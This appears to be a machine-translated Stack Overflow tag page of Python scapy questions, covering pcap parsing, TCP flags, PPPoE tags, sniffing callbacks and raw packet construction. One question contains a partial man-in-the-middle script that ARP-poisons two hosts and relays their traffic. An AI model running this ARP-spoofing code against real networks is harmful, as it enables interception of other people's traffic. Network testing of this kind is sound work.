标签: scapy

如何腌制一个scapy包?

我需要腌制一个scapy包.大部分时间都可以使用,但有时候pickler会抱怨一个函数对象.根据经验:ARP数据包泡菜很好.一些UDP数据包存在问题.

python pickle scapy

12
推荐指数
1
解决办法
3657
查看次数

使用Scapy获取TCP标志

我正在解析PCAP文件,我需要提取TCP标志(SYN,ACK,PSH,URG,...).我正在使用该packet['TCP'].flags值一次获取所有标志.

pkts = PcapReader(infile)
for p in pkts:
        F = bin(p['TCP'].flags)
        print F, bin(F), p.summary()
        # manual flags extraction from F
Run Code Online (Sandbox Code Playgroud)

有没有办法获得单个TCP标志而无需手动从packet['TCP'].flags值中提取它?

python tcp packet-capture scapy packet

12
推荐指数
3
解决办法
3万
查看次数

如何使用python通过特定协议过滤pcap文件?

我有一些pcap文件,我想按协议过滤,即,如果我想通过HTTP协议过滤,除HTTP数据包之外的任何东西都将保留在pcap文件中.

有一个名为openDPI的工具,它非常适合我需要的工具,但没有python语言的包装器.

有谁知道任何可以做我需要的python模块?

谢谢

编辑1:

HTTP过滤只是一个例子,我想要过滤很多协议.

编辑2:

我试过Scapy,但我不知道如何正确过滤.过滤器只接受Berkeley Packet Filter表达式,即我无法应用msn,HTTP或上层的其他特定过滤器.谁能帮我?

python filter scapy pcap

11
推荐指数
4
解决办法
4万
查看次数

在jython中导入python模块

我在jython下导入scapy时遇到了一些问题.我一直在做java,但python只用了一两天.

重现问题的简单案例是:

$jython

>>> import sys
>>> sys.path
['', '/usr/share/jython/Lib', '/usr/lib/site-python', '__classpath__']
>>> from scapy.all import *
Traceback (innermost last):
File "<console>", line 1, in ?
ImportError: no module named scapy
Run Code Online (Sandbox Code Playgroud)

如果我完成这些完全相同的步骤python,一切正常.我怎么告诉jython使用scapy?如果它有帮助,我正在运行ubuntu 10.04并安装了jython和scapy viaapt-get install

python import jython scapy importerror

11
推荐指数
2
解决办法
2万
查看次数

用Scapy解析PPPoE标签

我试图用Scapy正确剖析PPPoE Discovery数据包.以下是Scapy如何显示示例PADI数据包:

>>> p = Ether("\xff\xff\xff\xff\xff\xff\x08\x00'\xf3<5\x88c\x11\t\x00\x00\x00\x0c\x01\x01\x00\x00\x01\x03\x00\x04\xe0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
>>> p.show()
 ###[ Ethernet ]###
  dst= ff:ff:ff:ff:ff:ff
  src= 08:00:27:f3:3c:35
  type= 0x8863
###[ PPP over Ethernet Discovery ]###
     version= 1L
     type= 1L
     code= PADI
     sessionid= 0x0
     len= 12
###[ Raw ]###
        load= '\x01\x01\x00\x00\x01\x03\x00\x04\xe0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Run Code Online (Sandbox Code Playgroud)

我想解析Raw有效负载.此有效负载只是一个PPPoE标记列表.每个标签由两个字节的代码字段,两个字节长度的字段和一个值组成(当然,它是由前一个字段给出的长度).

这是我尝试代表所有这些:

from scapy.all import *

class PPPoETag(Packet):
    name = "PPPoE Tag"
    fields_desc = [ ShortEnumField('tag_type', None,
                                   {0x0000: 'End-Of-List',
                                    0x0101: 'Service-Name',
                                    0x0102: 'AC-Name',
                                    0x0103: 'Host-Uniq',
                                    0x0104: 'AC-Cookie',
                                    0x0105: 'Vendor-Specific',
                                    0x0110: 'Relay-Session-Id',
                                    0x0201: 'Service-Name-Error',
                                    0x0202: 'AC-System-Error',
                                    0x0203: 'Generic-Error'}),
                    FieldLenField('tag_len', None, length_of='tag_value', fmt='H'),
                    StrLenField('tag_value', …
Run Code Online (Sandbox Code Playgroud)

python scapy pppoe

11
推荐指数
1
解决办法
2219
查看次数

Scapy和Python 3.2

Scapy会与Python 3.2兼容吗?我一直试图找到一些关于它如何执行的信息,因为Scapy网站上有关于Python 3.X兼容性的相当稀少(如果有的话)信息,而且我没有提供任何信息.有没有人尝试在Python 3.X上使用它以及它是如何执行的?

scapy python-3.x

11
推荐指数
2
解决办法
9399
查看次数

与scapy中间攻击的人

我正试图scapy在测试网络上做一个中间人攻击的人.我的设置是这样的: 在此输入图像描述

现在你明白了,这是代码:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if …
Run Code Online (Sandbox Code Playgroud)

python exploit network-programming scapy man-in-the-middle

11
推荐指数
1
解决办法
9579
查看次数

Scapy数据包嗅探器在每个嗅探的数据包上触发一个动作

我正在使用scapypython来嗅到实时流量.

capture=sniff(iface="<My Interface>", filter="tcp")
Run Code Online (Sandbox Code Playgroud)

但是这会嗅探每个数据包并将其添加到列表中capture,以便稍后处理.

我想要处理一个数据包并显示数据包的几个字段,只要它被嗅到.即,在嗅探数据包时,它将触发一个我可以分析该数据包的功能.对于少数数据包,这将继续.

我已经准备好了我正在使用捕获的数据包列表的功能.但是我无法将它用于每个实时数据包.

怎么实现呢?有可能scapy或者我需要安装任何其他包吗?

python networking scapy packet-sniffers

11
推荐指数
2
解决办法
4万
查看次数

Python Scapy wrpcap - 如何将数据包附加到pcap文件?

我有一些软件可以模拟BER和网络延迟等问题.我需要一种方法来测试软件的BER模块,以确保它真正正常工作.我的解决方案是创建一个程序,发送原始以太网帧,类型字段设置为未使用的类型.以太网帧内部只是随机位.对于发出的每个帧,我需要将帧记录到pcap文件中.在网络链路的另一端将是一个接收应用程序,它只是将它看到的每个数据包写入自己的pcap日志.测试完成后,将比较两个pcap日志以获得BER.

我正在使用python模块Scapy,到目前为止它完成了我需要的一切.我可以发送带有随机数据的原始以太网帧,并在Wireshark中查看它们.但是,我不知道如何将wrpcap()方法附加到pcap文件,而不是覆盖.我知道我可以写一个包列表wrpcap,但是这个应用程序需要能够无限期地运行,我不想等到应用程序退出写入发送到硬盘的所有数据包.因为在内存中存储很多,如果发生了什么事,我将不得不从头开始测试.

我的问题是:如何pcap使用scapy而不是覆盖文件来附加到pcap文件?它甚至可能吗?如果不是那么什么模块可以做我需要的?

在寻找Scapy具有我的功能的东西时,我遇到了dpkt,但我没有找到很多文档.可以dpkt做我想问的问题,如果可以,我可以在哪里获得一些好的文档呢?

python networking network-programming scapy raw-ethernet

10
推荐指数
2
解决办法
2万
查看次数

如何从原始字节创建Scapy数据包

使用python数据包解析/嗅探工具Scapy,我想从原始字节串创建一个数据包.虽然我的具体用例的细节更加真实,但以下示例说明了我的问题以及我目前的尝试:

# Get an example packet (we won't really have an offline file in production.)
pkt = sniff(offline="./example_packets/example_packets2.pcap")

# Convert it to raw bytes -- oddly __str__ does this.
raw_packet = str(pkt)

# Current, broken, attempt to construct a new packet from the same bytes as the old.
# In truth, there are easier ways to copy packets from existing Scapy packets, but
# we are really just using that offline packet as a convenient example.
new_packet = Packet(_pkt=raw_packet)

# …
Run Code Online (Sandbox Code Playgroud)

python scapy

10
推荐指数
1
解决办法
1万
查看次数